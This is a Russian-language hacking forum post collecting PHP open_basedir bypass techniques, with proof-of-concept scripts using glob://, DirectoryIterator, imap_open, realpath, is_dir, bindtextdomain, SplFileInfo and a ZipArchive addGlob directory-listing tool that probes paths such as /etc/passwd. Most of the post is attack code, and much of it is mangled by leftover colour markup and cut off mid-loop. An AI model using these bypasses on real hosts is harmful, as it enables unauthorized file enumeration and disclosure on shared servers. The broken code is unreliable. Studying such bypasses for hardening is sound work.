HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Кухня
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 22.09.2019, 18:58
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

По мотивам https://rdot.org/forum/showthread.php?t=1043

Старая тема о главном + немного добавим с гугла + тесты на 7 ветке === этот тред.

Вобщем что завелось у меня.

Ну и сразу crlf подсказывает прикрепить ссыль на эту тему, ибо "т.к. имея выполнение команд, байпасс бейсдира не сильно нужен"

Глава первая. Вспомнить всё...

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

finfo_*

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]finfo_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]FILEINFO_MIME[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]finfo_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR
Ругается на опенбэйздир или на отсутствие директории в зависимости от наличия директории.

Тест:

7.0.26

7.3.8-1

----------------------------------------------------------------------------------------------------------------------------------------------------------------

Glob(). Разный результат для отсутствующих и существующих файлов.

----------------------------------------------------------------------------------------------------------------------------------------------------------------

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]glob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/etc/hosts'[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]glob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/etc/does-not-exist'[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR
отсутствует:

array(0){}

присутствует:

bool(false)

Тест:

7.0.26

7.3.8-1

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

opendir()+readdir()+glob://

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

https://bugs.php.net/bug.php?id=73891

Разные ошибки для существующих и отсутствующих директорий.

Если использовать с glob:// то получим листинг.

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]opendir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]])) {
while (([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]readdir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"])) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"];
}
[/
COLOR][COLOR="#0000BB"]closedir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"]);
}
[/
COLOR][/COLOR
Код:
Code:
http://localhost/1.php?dir=glob:///*
DirectoryIterator

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]= array();
[/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DirectoryIterator[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"glob:///*"[/COLOR][COLOR="#007700"]);
foreach ([/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__toString[/COLOR][COLOR="#007700"]();
}

[/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DirectoryIterator[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"glob:///.*"[/COLOR][COLOR="#007700"]);
foreach ([/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__toString[/COLOR][COLOR="#007700"]();
}
[/COLOR][COLOR="#0000BB"]sort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]);
foreach ([/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR] 
Тест:

7.0.26

7.3.8-1

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Не баг, а фича - функции posix_*

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

http://bugs.php.net/bug.php?id=16733

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/
COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][/COLOR
Тест:

7.0.26

7.3.8-1

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

imap_open()

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

https://bugs.php.net/bug.php?id=37265

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/etc'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]imap_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Снова разница в ошибках.

Тест:

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]))
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
else
echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'
Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"];

function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'
a'[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]
[/COLOR][/COLOR] 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Realpath().

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

http://bugs.php.net/bug.php?id=41492

Тест:

7.0.26

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]))
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
else
echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'
Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"];

function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'
a'[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]
[/COLOR][/COLOR] 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------

include - разница в ошибках.

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Тест:

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ext[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];
}
}

[/
COLOR][COLOR="#0000BB"]set_error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"eh"[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]'open_basedir = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'set include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]ini_set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]'include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]= array();
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) [/COLOR][/COLOR
Глава вторая. Окей, гугл!

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Is_dir().

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

https://bugs.php.net/bug.php?id=69240

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/etc/passwd"[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/etc/passwd2"[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR
Тест:

7.0.26

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]open_basedir: '[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]))
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
else
echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'
Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"];

function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'
a'[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][/COLOR] 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Bindtextdomain

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Существует:

string(4) "/etc"

Отсутствует:

bool(false)

Тест:

7.0.26

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: %s
'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$re[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]bindtextdomain[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
xxx'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$re[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------

SplFileInfo + getRealPath

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Аналогично

Существует:

string(4) "/etc"

Отсутствует:

bool(false)

Тест:

7.0.26

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'
'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$info[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]SplFileInfo[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'
dir'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$info[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getRealPath[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
Глава третья. Самое вкусное...

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

ZipArchive->addGlob

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Тест:

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]addGlob open_basedir bypass, Directory Listing, by BlackFan
# 20.12.11

[/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]stripos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PHP_OS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'win'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"])
die([/COLOR][COLOR="#DD0000"]'Windows glob does not support negative character classes'[/COLOR][COLOR="#007700"]);

if
(![/COLOR][COLOR="#0000BB"]class_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ZipArchive'[/COLOR][COLOR="#007700"]))
die([/COLOR][COLOR="#DD0000"]'Class ZipArchive not found'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$starttime[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/File\((.*)\) is not within/"[/COLOR][COLOR="#007700"];
if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]))[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]= ((string)[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]);
if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'R'[/COLOR][COLOR="#007700"]]) and[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'R'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'on'[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].(([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]) ?[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]"open_basedir bypass, Directory Listing, by BlackFan"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"Directory (absolute path): "[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]" -R "[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"]= array();
[/
COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]= array();
[/
COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]= array();
[/
COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"openbd.zip"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ZipArchive[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ZIPARCHIVE[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]CREATE[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]set_error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"error_handler"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]'*'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'.*'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$checked_chars[/COLOR][COLOR="#007700"]= array();
[/
COLOR][COLOR="#0000BB"]$count[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
do {
[/
COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addGlob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]GLOB_MARK[/COLOR][COLOR="#007700"]);

if
([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]= ([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);
if(([/COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]or ![/COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]) and[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]array_push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]array_push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'.*'[/COLOR][COLOR="#007700"]);
}
}

[/COLOR][COLOR="#0000BB"]$lenlf[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]);
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];
